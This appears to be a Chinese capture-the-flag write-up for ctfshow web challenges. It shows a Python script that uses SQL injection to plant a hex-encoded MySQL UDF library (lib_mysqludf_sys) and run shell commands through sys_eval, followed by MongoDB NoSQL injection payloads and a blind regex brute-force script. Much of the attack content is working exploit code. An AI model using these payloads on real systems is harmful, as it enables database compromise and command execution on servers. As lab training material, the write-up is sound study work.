87065637465642065786163746C792074776F20617267756D656E747300457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E34004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F290000011B033B980000001200000040FBFFFFB400000041FBFFFFCC00000042FBFFFFE400000043FBFFFFFC00000044FBFFFF1401000047FBFFFF2C01000048FBFFFF44010000E2FBFFFF6C010000CAFCFFFFA4010000F3FCFFFFBC0100001CFDFFFFD401000086FDFFFFF4010000B6FDFFFF0C020000E3FDFFFF2C02000002FEFFFF4402000016FEFFFF5C02000084FEFFFF7402000093FEFFFF8C0200001400000000000000017A5200017810011B0C070890010000140000001C00000084FAFFFF01000000000000000000000014000000340000006DFAFFFF010000000000000000000000140000004C00000056FAFFFF01000000000000000000000014000000640000003FFAFFFF010000000000000000000000140000007C00000028FAFFFF030000000000000000000000140000009400000013FAFFFF01000000000000000000000024000000AC000000FCF9FFFF9A00000000420E108C02480E18410E20440E3083048603000000000034000000D40000006EFAFFFFE800000000420E10470E18420E208D048E038F02450E28410E30410E38830786068C05470E50000000000000140000000C0100001EFBFFFF2900000000440E100000000014000000240100002FFBFFFF2900000000440E10000000001C0000003C01000040FBFFFF6A00000000410E108602440E188303470E200000140000005C0100008AFBFFFF3000000000440E10000000001C00000074010000A2FBFFFF2D00000000420E108C024E0E188303470E2000001400000094010000AFFBFFFF1F00000000440E100000000014000000AC010000B6FBFFFF1400000000440E100000000014000000C4010000B2FBFFFF6E00000000440E300000000014000000DC01000008FCFFFF0F00000000000000000000001C000000F4010000FFFBFFFF4100000000410E108602440E188303470E2000000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF000000000000000000000000000000000100000000000000B2010000000000000C00000000000000A00B0000000000000D00000000000000781100000000000004000000000000005801000000000000F5FEFF6F00000000A00200000000000005000000000000006807000000000000060000000000000060030000000000000A00000000000000E0010000000000000B0000000000000018000000000000000300000000000000E81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200A0000000000000700000000000000C0090000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000A009000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000004809000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000CE0B000000000000DE0B000000000000EE0B000000000000FE0B0000000000000E0C0000000000001E0C0000000000002E0C0000000000003E0C0000000000004E0C0000000000005E0C0000000000006E0C0000000000007E0C0000000000008E0C0000000000009E0C000000000000AE0C000000000000BE0C0000000000008017200000000000004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200002E7368737472746162002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E64796E616D6963002E676F74002E676F742E706C74002E64617461002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000B000000F6FFFF6F0200000000000000A002000000000000A002000000000000C000000000000000030000000000000008000000000000000000000000000000150000000B00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001D00000003000000020000000000000068070000000000006807000000000000E00100000000000000000000000000000100000000000000000000000000000025000000FFFFFF6F020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000FEFFFF6F0200000000000000A009000000000000A009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000C009000000000000C00900000000000060000000000000000300000000000000080000000000000018000000000000004B000000040000000200000000000000200A000000000000200A0000000000008001000000000000030000000A0000000800000000000000180000000000000055000000010000000600000000000000A00B000000000000A00B000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000B80B000000000000B80B00000000000010010000000000000000000000000000040000000000000010000000000000005B000000010000000600000000000000D00C000000000000D00C000000000000A80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000E000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000DD000000000000000000000000000000010000000000000001000000000000006F000000010000000200000000000000641200000000000064120000000000009C000000000000000000000000000000040000000000000000000000000000007D000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008E000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009A000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000A3000000010000000300000000000000D016200000000000D0160000000000001800000000000000000000000000000008000000000000000800000000000000A8000000010000000300000000000000E816200000000000E8160000000000009800000000000000000000000000000008000000000000000800000000000000B1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000B7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000BC000000010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000"
udf_text=[]for i in range(0,20000,5000):end = i+5000udf_text.append(udf[i:end])p = dict(zip(text,udf_text))for t in text:param=payload.format(p[t],t)get_url = url + paramres = requests.get(get_url)print("[*]",end="")code = res.status_codeprint(code,end="")if  code==404:print("你输入的URL可能出错")acq=acquire.format(t)data=url+acqres = requests.get(url=data)if "load_file" in res.text:print("-->成功插入{}.txt".format(t))print("[*]导入udf.so成功")
url_sys_dll = "?id=1%27;select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' --+"
res= requests.get(url=url+url_sys_dll)
print("[*]创建函数sys_eval()成功")
url_sys_function = "?id=1%27;create function sys_eval returns string soname 'udf.so'--+"
res= requests.get(url=url+url_sys_function)print("[*]命令执行结果: ")
sys_eval="?id=';select sys_eval('cat /flag.*')--+"
res= requests.get(url=url+sys_eval)
print(res.text)

web249

  • nosql,也跟MongoDB一个意思,先去补补MongoDB的基础知识,MongoDB基础
  //无$user = $memcache->get($id);

由于他校验的是第一个输入的数据,对于非空的数组,intval会返回1,所以可以绕过intval校验,然后再来搜flag,就可以搜索key为flag的值了

?id[]=flag

web250

  $query = new MongoDB\Driver\Query($data);$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();//无过滤if(count($cursor)>0){$ret['msg']='登陆成功';array_push($ret['data'], $flag);}

他传入的data是username和password,所以想要这个返回值为真,我们就要构造永真式,利用ne(not equal)来让这个式子一直是真的,就为1就绕过了

post传入payload

username[$ne]=hacker&password[$ne]=hacker

web251

  • 感觉和上题一样,那就换个永真式
username[$regex]=.*&password[$regex]=.*

web252

  • 这题和上题有点区别,利用永真式获得了账号和密码,登陆并没有获取flag,用正则找一下

payload,找以f开头的用户名就找到了

username[$regex]=f.*&password[$ne]=1

web253

  • 这题跟上面几题有点不同,可以登录成功,但是无回显。所以我们可以通过正则匹配来判断这个是否存在。

明显,账号数据中存在flag,因为显示的msg是登录成功

因此我们利用这个回显,写个布尔盲注脚本

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/4
# blog: gylq.gitee.io
import requestsurl = "http://a2efa0f0-f634-4621-bd4a-e96a4f1b0196.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""payload_user = "flag.*"
payload_pass = "^{}.*"n = 0for i in range(1, 666):for j in str:data = {'username[$regex]':payload_user,'password[$regex]':payload_pass.format(flag+j)}res = requests.post(url = url, data=data)if r"\u767b\u9646\u6210\u529f" in res.text:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

个人博客

孤桜懶契:gylq.gitee.io

【ctfshow】web篇-SQL注入 wp相关推荐

  1. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  2. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

  3. ctfshow web入门 sql注入

    无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...

  4. web之SQL注入篇BUU

    web之SQL注入篇BUU [强网杯 2019]随便注 预处理语句 handler [SUCTF 2019]EasySQL 判断是字符型还是数字型注入 判断是否可以联合查询 判断是否可以使堆叠注入 | ...

  5. 史上最详细sql注入wp

    文章目录 sql注入wp(史上最详细) 前言 什么是SQL注入? SQL注入的原理 常见的注入方式 常见绕过技巧 常见防控SQL注入的方法 手工查询语句 Basic Challenges Less-1 ...

  6. 米斯特白帽培训讲义 漏洞篇 SQL 注入

    米斯特白帽培训讲义 漏洞篇 SQL 注入 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 原理与危害 SQL 注入就是指,在输入的字符串中注入 SQL 语句,如果应用相信用户 ...

  7. 《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]SQL注入-2

    [第一章 web入门]SQL注入-2 一.信息收集 1.首页 2.登录成功会跳转到 3.进行测试判断 二.尝试破解 1.用post型的sqlmap破解 <1>.首先,开burp截包 < ...

  8. 第19篇:WEB漏洞~SQL注入~SqlMap绕过WAF

    目录 1. 本文 2. 示例 2.1. 简要其他绕过方式学习 2.1.1. IP 白名单 2.1.2. 静态资源 2.1.3. url 白名单 2.1.4. 爬虫白名单 2.2. FUZZ绕过脚本结合 ...

  9. 渗透学习笔记--基础篇--sql注入(数字型)

    环境:dvwa 1.7数据库:mysql dvwa的安全等级:medium 一.分析和查找注入点 (1)知识点回顾 如果上一篇有好好读过的同学应该知道,我们上一篇遇到的字符型注入.也即是通过Get或者 ...

最新文章

  1. 火焰图(Flame Graphs)的安装和基本用法
  2. Python中必须知道的知识点:上下文管理器
  3. 电气论文实现:从大规模用户中找出异常用电用户
  4. B.The Tortoise and the Hare 长春
  5. elementuiDemo1.1
  6. Android连续点击多次事件的实现
  7. JS 中的事件冒泡与捕获
  8. 智慧中国杯算法赛解读 | 精准资助数据探索(一)
  9. MySQL高级知识(十三)——表锁
  10. SYNPROXY:廉价的抗 DoS 攻击方案
  11. 爬虫 | 破解APP中阿里云滑动验证码
  12. excel合并两列内容_【238期】EXCEL扩展思维,一题多解,玩转数据两列合并,你都会?...
  13. Python3.7.0安装报:0x80072efd
  14. 一文曝光字节跳动薪资职级,资深开发的收入你意想不到~
  15. linux查看无线网卡漫游,linux 无线命令
  16. 推荐一个基于 SpringCloud 设计精良的网上商城
  17. 1235813找规律第100个数_2013年全国中考数学规律探索试题汇编
  18. EXCEL之隐形对象的清理办法
  19. 现在买5G手机你考虑好了吗?
  20. 都说建议新手用3Dmax,那到底学好3Dmax要多久呢?

热门文章

  1. 金蝶GUI开发常用代码
  2. 有哪些网络安全漏洞存在呢
  3. access 报表隔行底纹_access报表每隔多条记录添加一行空白行
  4. GCP: IAM的使用
  5. 机械电子工程类毕业论文文献都有哪些?
  6. 离散数学学习笔记----集合代数
  7. js篇--学习web-api第二天(DOM的学习)
  8. 软件测试经验与教训-读后感
  9. 网络层 ICMP与ping:投石问路的侦察兵
  10. 最佳sd卡恢复数据软件/sd卡恢复照片软件